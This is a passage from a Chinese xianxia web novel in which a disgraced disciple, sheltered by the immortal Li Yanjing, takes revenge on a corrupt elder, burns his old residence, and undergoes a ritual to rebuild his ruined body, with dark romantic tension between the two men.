我倏然睁眼,目光直射岸边香炉,这东西烦人得紧,左右不过是计时的东西,敢让我连幻想都不能!
我翻身,从池中央滑到池边,冷冷地捏起香炉上的
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盖,炉盖被香熏得滚烫,却让我感觉到我还存在着。
里面的云纹已经烧掉尾巴,估摸了下剩余时间,我抬手就要打翻小香炉。
挥至一寸时,便再难行动。
我暗暗咬着牙,趴在岸边,一只手还捏着炉盖,浑身只有眼珠能转。
“烫也不知道放手,泡傻了?”
李晏京的身影慢慢浮现在岸边,弯腰从我指尖拿下炉盖,又伸手一一捋过我的手指,将它们舒展开。
“红了。”他指腹和我的相搓,灵力卷过,那炉盖的烫意就消失不见。
比起那日池中近观,李晏京看起来活人气更少,如果不说话,只是一座好看的雕像。
我眼珠斜着望他,李晏京只扫视一眼,却没解开定身,“郁负雪,你不老实,我很苦恼,在香燃尽之前,你都不能动。”
我的指尖还被他捏在手中,他像是忘记还抓着这么个东西,淡色眼珠看着我。
“你好像很不服气?要你静心,是有益于恢复,不然越拖越久,身、心,都易损。”
李晏京松开手,站直身体,袖袍轻动,柱子边就多出套整齐叠放的衣物,连鞋子都准备好了。
他面对柱子,一只手背在身后,我看不清李晏京的神色,他此刻声音听着沉,给人一种想说又不想说的感觉。
“郁负雪。”李晏京又念我的名字。
南玄仙尊这么烦的吗?
我不再看他,眼珠转回去,看着那被他翻转,摆成手心向上,摊开五指的手,姿势很奇怪,像伸手要抓什么。
“现在有两条路,都可以助你恢复修为,看你怎么选,你要想好,香尽时告诉我。”
我还可以恢复?
被他勾走思绪,我又向下去看炉中的香,在心里催促他。
快说!只要能恢复修为,能重新拿起剑,让我做什么都可以!
李晏京转过身,又走过来,每一步都很稳,踩在我的心尖,他单膝跪地,弯起食指搭在我下颌,拇指摁在下巴上。
“第一条路,很苦很难,你剩余的根骨要全被打碎、重塑,否则你丹田始终破漏,就算灵脉完好无损,也聚不了灵气。”
他从上而下,视线流连在我唇间,但他目光坦荡,或许只是盯着他自己的手指出神。
“这世界上古遗留的秘宝不少,身体的情况稳定后,破损的丹田、灵脉……都只是小问题。”
我仔细听着,身体以及手腕的伤好像又痛了起来。等他说完,我看着他,眼珠动了动,催促他继续说第二条路。
李晏京微不可察地停顿片刻,照常道:“至于第二条路,很简单,也很快捷。”
他的拇指微抬,碰在我的下唇,指腹用力慢慢下压,我的心跟着一颤。
“郁负雪,上次你说的不错,”他压下后,眼眸眯起一瞬,手指向嘴角滑去,就垂下手,手臂搭在膝头,“第二条路,和我双修,有益无害。”
李晏京忽视我震颤的瞳孔,他解开我半散乱的盘发,手朝角落一摄,被我丢在一边的簪子飞到他的手心。
“郁负雪,慢慢想,香快燃尽了。”
12. 祝我长命百岁
片刻后,我穿好衣服,推开殿门。
李晏京站到我的身后,什么话也没说,他和整座峰一样,都是安静的。
我看着满目银装,才想起已经入冬,万物寂寥的季节,有着我讨厌的孤独。
深吸口气,嗓子发痒,我偏过头轻咳几声,余光在瞥见李晏京抬手时,侧身躲开了他的触碰。
腰间他亲手戴上的玉佩微晃,散发着暖意,我看李晏京有些走神,于是打断他。
“师祖,剑。”
放下捂着嘴的手,朝李晏京摊开手心,目光却始终盯着他的脸。
我承认我很坏,我故意若即若离,也故意叫他师祖,以此刺激他,让他只要听到这个称呼,就会想起我。
原来那药池背后的代价如此简单。
瞧瞧,发间多出的玉冠和簪子,腰上的盘龙玉佩,衣服穿起来也温暖轻盈,想必覆着阵法,多贴心。
这就是程月舒平日里的感觉吗?
李晏京纵容得很,和我对视时十分专注,他解下腰间佩剑,放在我的手心。
在我选择第一条路时,李晏京没有生气或者失望,但他的态度悄然变化,后续会如何对我,又是持什么态度看待我的身份。
我都还未摸清。
不过,现在最重要的是先去刑台。
那日王德福看起来颇为嘚瑟,在李晏京来后,却心虚地逃跑,关于我的处罚内容,说没有鬼,谁也不信。
我的剑和储物袋都被收缴,找李晏京拿剑应急,在我看来是他应该的。
李晏京想要我,总得有所付出。
说来好笑,南玄仙尊本人对我有欲念,但这把名剑却叫克己剑。
他拿着不觉得烫手,见到这两个字时,也不会心虚吗?
“师祖,”我拖长语调,反复掂量手中的剑,“您也不施点什么法,到了刑台,我用不了怎么办?那丢的是您的脸。”
李晏京只道:“我的东西你能直接用。”
“是吗,”我略感惊讶,李晏京对上心的人还真是广开门路,“不用灵力?”
“克己剑已有灵性,唤它即可。”
“多谢师祖。”
我右手如今握剑无法太久,便不动声色换到左手,拇指轻挑,剑脱鞘而出,露出一截锋芒,剑身映出我阴郁的双眼。
剑是好剑,拿着剑的我却不是什么好人,李晏京的眼光倒是不怎么好。
我收剑入鞘,往外走,迈出几步后回过头,李晏京静立在风雪中,一直目送我。
踩过满地白雪,行出一长串脚步,当初来时还能看见许多生灵偷偷地看我,这个时候大抵都去冬眠了,瞧不见身影。
转出峰内范围,来到边缘,便看见一只巨大华丽的蛇鹫坐卧,歪着头,掀起一边翅膀梳理羽毛。
听见响动,它抬起头和我对视,放低靠近我的翅膀,形成一个坡。
“我从未见过你。”
蛇鹫静静望着我,我大着胆子,轻抚它的喙,猛禽温顺如家雏。
“你是师祖的坐骑么?”
蛇鹫喉咙发出细微的声音。
“看来是的,你真好看。”
我见它都不敢大声叫,笑意淡了些,李晏京虽然行动上不拘着这群生物,但是剥夺它们肆意的天性,这座山峰,真的太安静了。
他也会这么对我吗,给我套上无形的枷锁,看似脾气温和,百般纵容我的无礼,但他还是那个南玄仙尊,能走到今天这个地步,肯定不是什么善良心性。
我从它的翅膀走上去,蛇鹫体型庞大,坐下时,它的羽毛顿时把我遮住一半。
“送我去玄清宗刑台吧。”
我摸摸它的羽毛,身下这只蛇鹫就收起翅膀,其双腿修长,站起后振翅而飞,我的视线拉高,能俯瞰大半个玄清宗。
我无疑是爱着这片地方的,没有玄清宗,恐怕我早已投胎多次,被七情六欲裹挟终生。
在程月舒来之前,我的日子基本没什么变化——修炼,打理云秀峰,无事可以指点师弟师妹们,枯燥得很。
我所遭遇的所有变故都指向程月舒,他用什么方法,让师尊以及师弟师妹们全听他的,不再看我一眼。
邪术,妖法,还是天道赐给我的克星。
蛇鹫速度极快,遮天蔽日的身躯没有惊动任何弟子,我闭眼窝在它的羽毛里,比这身防寒防风的衣服还暖和。
很快失重感袭来,我睁开眼,玄清宗的刑台空荡,中间一点黑,那是跪在干涸血迹中的王德福。
我从蛇鹫的背上下来,笑着站在他的面前,欣赏他的表情从惊惧到怨毒,他惧怕蛇鹫这庞然大物,却不怕来索命的我。
“王长老,几日不见,怎么如此狼狈。”
王德福又怒又笑,几日下来,居然已经濒临崩溃,真是废物怂包懦夫蛋。
“是你!你居然没死!哈!”
他三白眼上翻,死死瞪着我,喘着粗气,破风箱似的,裤子布料还有可疑的深色晕染。
“我道当初能有那么大本事,不给我乐乐,还废我……原来是有靠山!到头来,你不还是一个被男人……”
我笑容真切几分,未等他骂完,便毫无征兆地拔出克己剑,左手一抬,剑尖离他只有一寸不到的距离。
若不是李晏京锁住其周遭时空,他哪能如此任我宰割,像砧板上被摁住的鱼。
“再多说一点,我好把你开膛破肚,看看你那腌臜心思,是怎么走到正道上的。”
没错,对,就该是这样恐惧的表情,只是不能看见他抖若筛糠的模样,有些可惜。
“承蒙各位长老教育,我知晓正道之人,心思不可不正,为人不可不端,那王长老,您又算什么?正在哪儿了?”
我左手轻晃克己剑,王德福那被我指着的眼珠直颤,瞧着都想缩回眶里。
他根本不敢转移视线,看样子生怕我一个手抖,戳进去,当串糖葫芦玩。
“你威胁我!真当我们玄清宗没人吗!要杀我,王卿尘他同意吗!没了我,你们哪来的钱,采买弟子服和饭食!没有……噫!”
我骤然松手,剑猛地下坠一截,被我重新握住,抵在王德福的喉间,他声音顿时压缩变细,愣是发出鸡卡脖子的尾音。
“废话真多。”我哂笑道。
“你看王卿尘几时来看过你?王长老,别真把自己当个宝了,恶不恶心。”
王德福牙齿打颤,我目光一一看过他身上的长针,左手仍静静用剑抵着他,给足他心理准备。
往往什么都不说,先来点未知的恐惧,才能让这种人自己发散思维,吐露东西。
“你,你想问什么?”
我慢条斯理地开口:“不想问什么。”
王德福连抖都要克制,否则长针会在他伤口搅动,往灵脉里钻。
我冷眼看着他,他嘴上恭恭敬敬,却不知道自己这双眼睛多透明。
瞳孔神经质的震颤,血丝满布,细纹也变成深壑,直勾勾地发馋,他恨我,也更加肖想我,怪人,怪癖。
“别杀我,你想知道什么我告诉你,”王德福眼珠子飞速转动,“你的判决?对吧!其实是啊!!”
克己剑从他肩膀处上挑削过去,啪嗒一声,我没看那条胳膊,血落在靴子边。
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我甩手,克己剑剑身的血珠就散了出去,在地砖上溅出道弧度。
剑体重新变得干净无比,我忍不住用手指轻弹剑身,它便发出道轻吟。
李晏京的本命剑真不错。
“王长老,不要擅自揣测我,我年纪轻轻突遭变故,脾气有些不大好了,还望理解。”
“那你想知道什么!”
王德福想用右手去捂伤口,但剑能直接伤他,他却是不能乱动,李晏京人不在,但留下的威力半点不减。
他只能抖,但长针一抖就会活起来,开始钻来钻去,这是慢折磨。
李晏京比我想的要狠,他是不是知道王德福做过什么,一借我的手处理,二又能博取我的好感。
“我想知道,南玄仙尊有什么要遵守的守则吗?”我斟酌着问。
蛇鹫弯下脑袋,张嘴叫了一声,见我不理它,则用脑袋轻拱,被我推开。
我仍盯着王德福,同时也分出心神应对身边的蛇鹫,它是李晏京送来助气的没错,但何尝不是监视我的呢。
因为胳膊流血,王德福嘴唇泛白,他扯扯嘴角,笑得难看:“哦,南玄老祖啊,也是,你岁数小,他的传闻现在已经少了。”
我眯起眼睛笑,附和道:“是。但再废话,舌头别想要了,活得比你久的人很多,我不过是多走些弯路,一样能得到答案。”
王德福被我一噎,没说什么,那一长条胳膊还在他旁边,让他十个胆恐怕都不敢再喷脏。
他也足够冷静,看得出现在这事儿,李晏京是不想管的,话事者在我,生杀权在我。
“你得答应不杀我。”他声音虚了很多。
我耐心已失,瞪了眼蛇鹫,淡声对王德福道:“和我讨价还价?”
他有些懊悔,还是怪他受不住吓,失去商量的先机,现在只能步步后退。
“七百年前正魔大战,南玄老祖联手妖、佛两道封印魔尊项席,后遭两人背叛,争斗时登仙路被毁,天道降下罪责,命老祖千年里不得出山,以身修复仙路。”
王德福喘口气,接着道:“不然你以为,为什么南玄老祖的峰在天上?因为他老人家喜欢睥睨天下吗?”
我沉吟不语,随手甩出克己剑。
这是李晏京的本命剑,和他放出的法则同源,轻而易举就能切开那块被禁锢的时空。
长针我没取出,只是先把王德福腿前交叉扎着的,由灵力凝成的长剑击碎。
被箍住的压力顿减,王德福瘫倒在地,疼得浑身抽搐,大叫出声。
他颤抖着手从怀里拿出一个瓷瓶,直接不顾形象地全都倒在地上,然后对着那些丹药就开始啃,啃得涕泪横流。
我垂眸看着他,提醒道:“王长老,我把你放出来,你得对我感恩戴德啊。”
他狼吞虎咽地硬咽下丹药,药力很快化开,散入四肢百骸,止血的同时也恢复了他的力气。
王德福踉跄几下,单手撑着身体爬起来,又去抱自己掉的胳膊,头埋得极低,十分听话地对我道谢。
“从前,从前是我不对,郁负雪你有君子海量,是我王德福嘴贱,对不住你,希望你以后长命百岁,万世千秋。”
说完他小心翼翼抬眸觑我一眼,见我不说话,也没什么表示,以为就算揭过去了。
他转身时身体微晃,随即就要离开。
我看着天欲雪,轻声唤道:“克己。”
剑脱手而出,从王德福心口穿过。
余光中,那道即将逃跑的身影栽倒下去。
我摸摸身边不再吵闹的鸟,和它说:“天要下雪了,再载我去一趟云秀峰可好?”
13. 师祖捏疼我了
蛇鹫认路,往云秀峰去。
我盘腿坐在它的背上,想着李晏京。
忽然,蛇鹫在空中停滞下来,我睁开眼,和立于空中拦路的王卿尘对视。
王卿尘率先笑道:“贤侄。”
我端坐在蛇鹫背上,没有要起来的意思,淡声询问:“掌门,这是何意?”
王卿尘端抬着一只手,似叹似无奈,他斟酌语气,尽量让自己显得和蔼可亲,道:“我刚刚去了趟刑台,王德福死了。”
我轻笑,毫不遮掩地回答:“嗯,死得好,大快人心不是吗?”
他没计较我杀了王德福的事。
确认是我做的之后,一挥手,两道流光从他的袖中飞出,在我面前落下——是我的剑和储物袋。
“执法长老已废,王德福已死,贤侄,云秀峰就不必去了吧。”
王卿尘笑意盈盈,“东西我给你拿回来了,看看可有什么缺失的?”
我直接拿起克己剑,把那些东西全都从蛇鹫背上掸下去,看着它们下坠。
王德福咒我长命百岁,王卿尘则来嘲讽我修为尽废么,可真是一个祖宗的后代。
王卿尘及时用灵力将下坠的物品收回,脾气极好,半点也不见尴尬。
“不要就不要,贤侄何必乱扔,被别人捡去,可容易滋生懒心。”
我沉下眉眼,心中郁愤难平,不再和他绕弯子。
“掌门,别拿这些东西搪塞我,我只想讨回我的金丹,这要求不过分吧?”
王卿尘从善如流道:“当然,情理之中。”人却没让开。
他双手背在身后,盯几眼我拿来当鸡毛掸子的剑,眼睛微眯,认出是李晏京常挂腰间的克己剑。
对峙半晌后,他传音给我:“郁贤侄,你真当南玄老祖是什么好相与的人吗?”
“此次的确是我玄清宗对不住你,即使你现在去云秀峰,又凭借什么夺丹?一鸟一剑一人吗?长垣仙君可还喘着气呢。”
我放松坐姿,支起一条腿,胳膊搭在膝头,另一只手向后撑着,宽大的袖袍轻动,露出红云纹。
王卿尘还在传音,不急不慢,听着颇有道理。
“何况,现在你去也晚了,这时候程月舒约莫已经结束融合。贤侄,听我一句劝,我身为掌门,需顾及的事太多,不能帮你什么。”
“但君子报仇,百年也不晚,何必以你如今……之躯,去对上你的师尊和师弟呢。”
闻言,我撑在蛇鹫背上的手狠狠攥紧,无意识间揪住它的羽毛,蛇鹫又叫了一声。
回过神,我松开手没表态,安抚身下的坐骑,盯着空中轻飘的云:“掌门,让开。”
王卿尘见我不松口,仍要去云秀峰,他不再规劝,只是问我:“郁贤侄,我这里有陈青芜的消息,你听不听?”
我对着虚空发呆的眼珠骤然看过去,和他眼中笃定的笑意对上。
一时间,有种无所遁形的错觉。
我袖袍中的拳头攥得咯吱响:“不劳费心。我想知道的,该知道的,都可以去问南玄仙尊。”
王卿尘笑容不变,负手点头:“也是,老祖神通广大,有着通天彻地的本事。”
但他传音说的却是:“可你觉得他会告诉你吗?郁负雪,你想想,如果老祖有心,会不帮你要回金丹?会不帮你留意好友吗?我每次前去拜见他时都要战战兢兢的提防着,你凭什么觉得他会真心待你?”
我当然不觉得李晏京有真心。
王卿尘打量着我,我没遮掩,和李晏京如出一辙的袖袍随风轻动。
“碧泉镇的确疑点颇多,千机寺事件更是在各派引起轰动,他们已经下了追杀令,都想为悟尽大师讨回一个公道,郁贤侄,陈青芜危矣。”
我声音几不可察地微颤,仍冷着脸道:“与我何干,我自顾不暇。”
王卿尘听到这意料之外的回答,愣是笑出声:“行,行。”
他让开路,这次没再拦着我。
蛇鹫冷眼飞过,那眼睛盯着王卿尘看,被我轻轻拍了两下才扭过头。
落到云秀峰上,遮天蔽日的巨禽吓坏许多灵兽,那些小点全都散开,往树木草丛里钻。
我在李晏京殿内的那段时间,外面的雪时下时停,灵草没人清理,如今都被埋在苍白之中。
“别过来,在这儿待着,”我警告这蛇鹫,“也不许叫。”
说罢,我持着克己剑踏上山路,前往弟子居。
如果要去秋野院,必定要经过师弟师妹们的居所。以前我路过,身后都会多出一串人跟着,嘻嘻哈哈的学我的步子。
“你……你是郁师兄!”
身侧传来东西落地的声音,红中带青的果子滚到我脚边,带着雪和泥。
我顺着果子滚来的方向看去,轻笑一下,通明灵感再也不复,这就是凡人,人离得这么近我都没发现。
“嗯,是我。”
这么一应声,屋内的窗户边又探出几颗脑袋,见我满头白发,无不惊讶。
他们如临大敌。
面前站着的肖师弟就是当初最喜欢挂在我后背的小朋友,现在脸上的表情是显而易见的后悔。
为什么多嘴发出声音。
我只淡淡扫去一眼,重新迈开步子朝秋野院走,脚边的果子被我蹭开,又滚出很远。
耳朵不比以前灵敏,只能听见背后的窃窃私语,这感觉一度让我以为回到了刑台上。
只要是个人都可以评判我,恨不得光用话就将我碾入尘埃。
独自一人来到秋野院,院子里满满都是雪,连麻雀脚印也没有,从远处看,像是空的坟墓。
我临走时封印居所,限制生灵进出,回来时却失去修为,差点也挡住自己,克己剑划开封印倒是容易。
推开院门,我就把克己剑丢在门边,见它想起身,我不轻不重看它。
“滚远点。”我温柔地说。
克己剑顿时僵住,我迈步踏入雪里,愉悦地笑开。
回到屋中,我拿起铜镜,仔细端详起自己。
我本就不爱自己的名字,也不爱自己这副样貌,往日为了维持大师兄的威严,总吝啬笑容,黑发时给人一种高高在上的感觉。
而现在满头白发,更加不好接近,结合多年阴郁少笑的眉眼,连我自己看着,也觉得不像正常人,也难怪那群弟子见我,和看到鬼一样。
“就这样子,李晏京是怎么能有兴致碰我的。”
我轻笑着左右看看自己的脸,镜中的人也跟着淡笑转头。
又毫无征兆地把铜镜摔碎,捡起一块碎片划破手心,鲜红的血顺着手指流出。
我面无表情地扫落桌上的水壶及茶杯,以指为笔开始书就。
“清正玄气,感悟有灵……”
我动作不停,头也不抬地对飞来的克己剑道:“叫你滚远点,别烦我。”
剑猛然悬停在半空,进也不是,退也不是。
我脸色渐白,血凝固就再划开,抹下最后一笔,抬手时血滴在尾句,留下红点。
不再留恋,我朝院外走去,垂下的手指沿路滴着血,我的身后空无一人,只有像红梅绽开的血。
走到院门口,我停住脚步,靠在门柱边。
“都来看我的?”
谁能想到有朝一日,我会被自己师出同门的师弟师妹们用剑指着。
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>克己剑飞到我身侧悬着,剑尖对准他们,被我两指夹住,轻轻挪开。
“郁,郁师兄!你跟师尊他老人家道个歉,程师弟和师尊一定会原谅你的!”
我垂着那划破的手,另只手横抱着臂膀。
“好啊。”我道。
温师妹的声音从旁传来,“郁师兄!你是不是走火入魔了!头发变得如此之白!”
我半是叹息地看过去:“是啊,我入魔了。”
抽出佩剑的声音响起,我看过去,那师弟抖得更厉害,他双手持剑,扎着马步。我都不想承认是我教的姿势,他融得乱七八糟。
“魔修,人人得而诛之。”
话毕,众人静默,面面相觑。
我一一看过他们的脸,身后的屋中,窗户里忽然冒出火光,轰得一声,滔天火焰顷刻间将房屋吞噬,被烧着的梁木噼啪作响。
火舌燎到屋边树木,繁衍不断。
他们全被吓了一跳,如惊弓之鸟,推搡着后撤,有的连剑都没抓稳,撞在一起。
克己剑旋飞到我的身后,挡住来势汹汹的轰震,但我的肺腑仍然剧痛,偏头咳嗽都带有血腥气,这是无法避免的。
我在火光中赞同地再次开口,对他们说:“没错,我人人得而诛之。”
仰起头,我拂开吹到脸边的长发。那蛇鹫和克己剑一样都不怎么我的听话,让它别动,却还是飞来寻我。
“那是什么!”
“定是魔修的坐骑!”
蛇鹫落下,那群弟子再也站不稳,挤在一团坐到地上,看我如看陌生人,连师兄也不叫了。
我抬手安抚蛇鹫,准备上去时,还是转头多问他们一句:“程月舒待你们很好?”
个别神智还清楚地很快回神,梗着脖子对我叫道:“当然很好!他什么都给我们!不像你!你别想打小师弟的主意!”
“你都已经入魔,还想怎么样!云秀峰容不下你!就算你回来,也没人欢迎你!”
“你问这个,是也想杀我们吗!”
我有些啼笑皆非,克己剑在脚下托了一把,我重新坐回蛇鹫的身上。
真的仅仅是这样吗?程月舒怕是下了不少功夫,言语、物质,亲力亲为的帮助。
我俯视着他们,不带什么感情,“如果你们成长的太快,我就杀了你们。”
蛇鹫腾空而起。
我似有所感,回头再看一眼秋野院,大火顿消,熟悉的身影出现在那小片空地,弟子们起身行礼。
那目光好冷,看向我时,终于因为我样貌的变化露出波动。
好难得,这么多年,终于有一个正眼。
回到李晏京的峰上,蛇鹫招呼也不打,直接变小,我身下没了倚靠,失重感传来,要去抓克己剑,它也从我指尖溜走。
我闭上眼,稳稳落在一个怀抱中。
李晏京低着头看我,脸色没什么变化,把我慢慢放下来,待我站稳才收手。
蛇鹫缩成一只大头小鸟,扇着翅膀停在我的肩上,被李晏京收手时顺带捉住,塞给旁边的清月。
清月想和我搭话,却被分派下任务,只能严肃着小脸,一手抓住蛇鹫,对李晏京行完礼走开。
“玩的怎么样?”
他眼眸微敛,牵起我的手,鞠来一汪清水,将血迹化去,又并两指从我划破的伤口抚过,掌心便再无痕迹。
我任由他抓着手,微微闭眼凑近,隔了段距离,偏头轻嗅他的衣襟。
“味道变了。”
李晏京的手一紧,捏住我的指尖。
我睁开眼,保持着姿势,从他胸膛的角度斜着睨他,缓缓而笑:“师祖,捏疼我了。”
14. 不会疼的方法
李晏京看我半晌,又用灵力化去我肺腑的钝痛,才慢慢松开手。
“抱歉,”他后退一步,神色隐入殿檐下的昏暗中,“可能是小童把熏香换了。”
我转动手腕,不动声色地打量他,李晏京不像是违背天道,遭过刑罚的模样。
思索间,我又重新笑开,放下手,熏香只是我随口提的,其实我闻着没区别。
“师祖,您知道这次千机寺的事件吗?”
“知道,悟尽死了,未尝不是好事。”李晏京的声音淡淡。
我略感疑惑,悟尽大师乃佛道高人,原魔尊被封,妖族避世休养生息,佛道老祖未曾听闻,唯悟尽大师闻名世间。
其名声和威望都偏向正派,怎么李晏京反而很憎恶他似的。
殿门自动打开,李晏京转身而入,我跟着进去,克己剑重新回到他的腰间,随他走路轻晃。
我瞧几眼,又挪开视线,殿里比我上次来时温暖许多,那屏风已撤去,显得空间更大。
“为何这么说?”
身后的门合上,寒意驱散,比光在外面站着舒服许多,嗓子压下去的痒意也有所缓解。
李晏京声音有些莫测,我顿生寒意,他停下脚步,扭头盯着我:“郁负雪,他死了,世间才能又乱起来。”
我瞳孔骤缩,脚步后撤,下意识伸手去拿剑,抓了个空后,才想起我已一无所有。
李晏京的身影沉默着,迅速逼近,在我眼里像瞬移,一只手绕过我的脖颈,眼前画面转变。
等我刚跟上他的速度,胳膊抵在他的胸膛时,已经变成我躺在塌上,后脑勺枕在他的手心里,李晏京撑在上方,眼眸深沉,发丝如瀑帘,垂落在我的两侧。
我咽了口口水:“师祖?做什么?”
李晏京视线向下挪,落在我滚动的喉结上,他薄唇轻启:“郁负雪,别去找陈青芜,我会生气。”
我手上发力,没推动:“师祖,放开我,您知道是不可能的。”
且不说陈青芜和我关系不错,就单提千机寺一事,我觉得另有隐情,说不定他也是程月舒操作下的受害者,受我连累那种。
而且,千机寺离碧泉镇极近,全镇被屠和陈青芜屠千机寺究竟有没有关联,我同样要知道,还有孟竹臣和常善的死……
李晏京眉头轻皱,很快松开,不由分说地用灵力化作灵索,将我双手扣住,指尖一动,我就被迫高举双手于头顶。
他的眼神很沉,但并没有欲念,只是很复杂、很痛心,在怀念着什么。
“郁负雪,别去。”
没有手可用,我只能曲起腿抵着他,“仙尊,讲点道理,陈青芜是我的朋友,我不能坐视不管。”
我又气又臊,这是什么姿势?他几时把殿里变出床榻座椅的?如今这是要逼我退让?
“你帮我,好不好?”我偏开头,“你告诉我陈青芜在哪,然后帮我先恢复身体,打碎还是怎么样随便你。”
我暗自咬破口中的肉,疼得我眼睛一酸,酝出点泪花,才重新转头看李晏京。
“求求你,仙尊,我失去了修为、良师……好友现在只剩下陈青芜一个,”眼泪刚好从眼角滑出,“仙尊,还是说其实你也讨厌我,要剥夺我最后拥有的东西。”
我还是没听见他的搭话,深吸一口气,冷着脸看他,眼角微红,还残留着眼泪滑落的痕迹。
“别逼我恨你,李晏京。”
说完这句,李晏京虚掐在我脖子上的手一抖,眼神清明些许,见我这副模样,久久未回过神,还乱了呼吸。
他狠狠闭上眼,翻身坐到榻边,单手扶额,另只手轻挥,我腕上的灵索就散开。
我坐起身,面无表情的观察他,抬手轻轻擦去眼尾挤出的眼泪,口腔里还隐隐作痛。
李晏京都渡劫期了,还会有头疼的病症么?
默不作声等待片刻,他缓过神来,眼睛里已经没什么情绪,很清澈,很淡然。
“抱歉,吓到你了。”
我主动靠近,坐在他身边,手抓住他垂在榻边的袖摆,露出手腕的红痕。
“师祖,帮我好不好?就我刚刚说的,只要您帮我,要我怎么样都可以。”
这种话一般没什么可信度,但听着又像无声纵容他、许诺他。
李晏京淡笑,用指背摩挲我的侧脸:“郁负雪,我若真提了,你又该不乐意了。”
他怎敢说的如此笃定。
我也不敢直接把话说太满:“您说。”
李晏京手探出几分,轻碾我的耳垂,“重塑很痛的,再给你点儿选择,好不好?”
我缩了下肩膀:“什么选择?什么作用?”
李晏京:“盲选,两个选项,作用你待会儿就知道。”
我想也没想,答应下来,就说可以。
李晏京收回手,只淡淡说我一句:“你为了别人,还真是肯付得出。”
其实我是为了自己。
我揣度不出他的心思,李晏京如同巍峨大山,内里装着沉默的疯狂,我窥见一点,其内容足以令我胆战心惊,又格外兴奋。
“我选二。”
李晏京唇瓣微张:“好。”
我被他带回药池所在的殿宇,此刻的池水清澈无比,我才知道,上次那颜色原来都是加了东西的缘故。
李晏京站定,翻手丢下一团跳动的青色火焰,池面开始从中央结冰,蔓延到池边。
“赤脚站到中心点。”
我依言照做,寒意刺激脚心,紧接着是针扎一般的刺痛。
冰面很滑,我放低重心谨慎前进,在脚步一溜的同时,有些惊慌,李晏京及时出现,抓住我的胳膊。
“专心,继续。”
那冷是刺骨的,这衣服无法抵挡,一茬又一茬从脚底侵入心脏,骨头都要冻成渣。
我很想转头上岸,告诉李晏京,我后悔了,我应该选第二条路,轻松无害,还能和他攀上关系。
但现在我已经无法转头,我的睫毛凝出冰渣,走路的样子像僵硬的木偶,眼睛只能盯着中心点,用意志一步步踩过去。
我还没有意识到已经到了中点,李晏京先夸赞道:“郁负雪,做得很好。”
虽然修为尽废,但我还是能感觉到,那火焰结出的寒意,已经将我每根汗毛都包裹。
李晏京单手环过我的腰,把我拉进他怀中,我眼珠子转向他,犹带迷茫,他的眼瞳周围亮起圈白,用神识将我内府看遍。
“可以开始了。”
待确认浸染透彻后,李晏京空着的手横展,直接甩出大量灵石,用神识布下阵法。
玄妙的淡紫色法阵层层相扣,九道叠加,分别居在一隅,相互连接,直指中心的我们。
“不会再痛了,”他收回手,用手心捂我的侧脸,“郁负雪,闭上眼。”
我不明白他要做什么,只是单纯照做。
鼻尖相撞,温热的唇轻轻贴近,我想睁开眼睛,这时候,李晏京手腕微转,横着遮住了我的双眼。
一股精妙的气渡了过来,从我的唇齿间溜过,在被他笼罩的黑暗里,我睁大了眼睛。
阵法启动后,刚开始有漫上来一瞬间的微痛,随着这股气的进入,那股疼痛消失不见,我什么也没有感觉到。
李晏京静静搂着我,我只能听到阵法运转的声音,身体忽然有些无力,刚刚往下滑,他就及时抱紧我。
可能重塑已经开始。
这就是第二个选项吗?
我又有些好奇第一个选项是什么。
李晏京的唇并不是那样的炽热,而我现在分明什么也感觉不到,却仍然觉得心脏跳得快要蹦出来,吵闹得很。
我们鼻尖相蹭,呼吸交缠,好像一对旷古未有的爱人。
但他有所企图,我别有用心。
我和他都不单纯,各怀目的。
等到他的气息远离,眼前的手慢慢移开,我眯起眼睛,适应了会儿光亮,人还在他的怀里,手死死
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掐着他的肩膀。
李晏京目光从我脸上掠过,他单手箍住我的腰,把我抱到池边。
“穿鞋吧。”
我这才回过神,身体相比黑暗之前轻盈很多,但仍然没有灵根,破碎的丹田处多出什么,我轻捂腹部。
“这里有什么?”我疑惑问他。
李晏京扫一眼我的动作,又挪开视线,“刚刚的青焰,属冰,和你原来的灵根类似,用它应当不会排斥。”
他停顿片刻又说:“如果有不舒服,要及时告诉我,青焰也可以不要。”
我回忆起那霸道入池的火焰,觉得有些眼熟,“它叫什么?”
李晏京:“上古青焰,幽冥火。”
谁也没有提刚刚发生的事情,在我看来各取所需成为我们之间的一种默契。
凡骨已经重塑,破损的丹田也有守门的卫士,被他们搅碎的灵根和灵脉还得再商议。
出了殿,清月迎面走来。
他先是看我一眼,眼睛微亮,瞧着颇为开心,然后才整理表情,对着李晏京鞠躬行礼。
“仙尊。”清月脆声道,“峰外长垣仙君求见。”
我本负手看着旁边裹满白雪的花草树木,闻言手指微颤。
李晏京声音不带感情:“季无涯?他来做什么,本尊没有叫他。”
清月双手揣在袖子里,仰头说:“他说他来寻恶徒回去,纵容徒弟在仙尊您这儿叨扰这么久,是他的不对。”
李晏京笑了一声,他很少有如此情绪,我刚为“恶徒”二字烦扰,就被他吸引去注意力,盯着他嘴角的笑意。
怎么,有什么好笑的。
“徒弟?”李晏京重复这两个字,“郁负雪不是已经被他逐出师门了么。”
他刚要开口,又像想到什么,目光转向我,周全地轻声问道:“你要见他么?”
在回到无名峰的之前,我其实已经见到我的师尊,但就是那一眼让我清楚,他这次的求见没有必要。
他对我连师徒情都没有。
我为掩住酸涩心绪,弯下腰,摸摸清月的脑袋:“这里没有他的徒弟。清月,要麻烦你跑一趟了,帮我把他打发走吧。”
清月重重点头,这次连告辞都没有,迫不及待地就转身跑开。
李晏京对此什么也没说。
我就暂时在无名峰上安顿了下来。
这里的一切都如此安静,和我原来的秋野院不相上下。
我新的住所在李晏京的殿旁,往更深的地方看去,还有重重叠叠的路,以及隐在树木之后的建筑。
李晏京和我说,最好不要去后面的地方。
我问他为什么?他只是告诉我容易迷路。
“那我就不去了。”
人总要有些自觉,而我如今受他庇护,更是深谙不能恃宠而骄的道理,何况那后面的建筑也给我一种森冷的感觉。
我想起王德福说的,李晏京被天道惩罚,重修登仙路,会不会那建筑后头就是一条破碎的,蕴含恐怖天道法则的路。
好奇心现阶段不可取,这些天我要稳定身体,好出宗去寻陈青芜。
又过去几天,李晏京再次将我喊去。
他端坐于桌案后,见我前来,袖袍从桌面拂过,多出许多东西。
李晏京给了我一柄崭新的剑,剑身通体修长,在靠近剑柄处有一道暗嵌的弯月。
剑身薄如蝉翼,无需担心我拿不起来。
“郁负雪,手给我。”
李晏京摊开手,我跪坐到他的对面,将那柄剑放下,伸出手,他又托着我的手腕,亲手给我戴上储物戒。
见状,我盯着他看,有心怀疑他又犯病,不清醒:“我用不了灵力。”
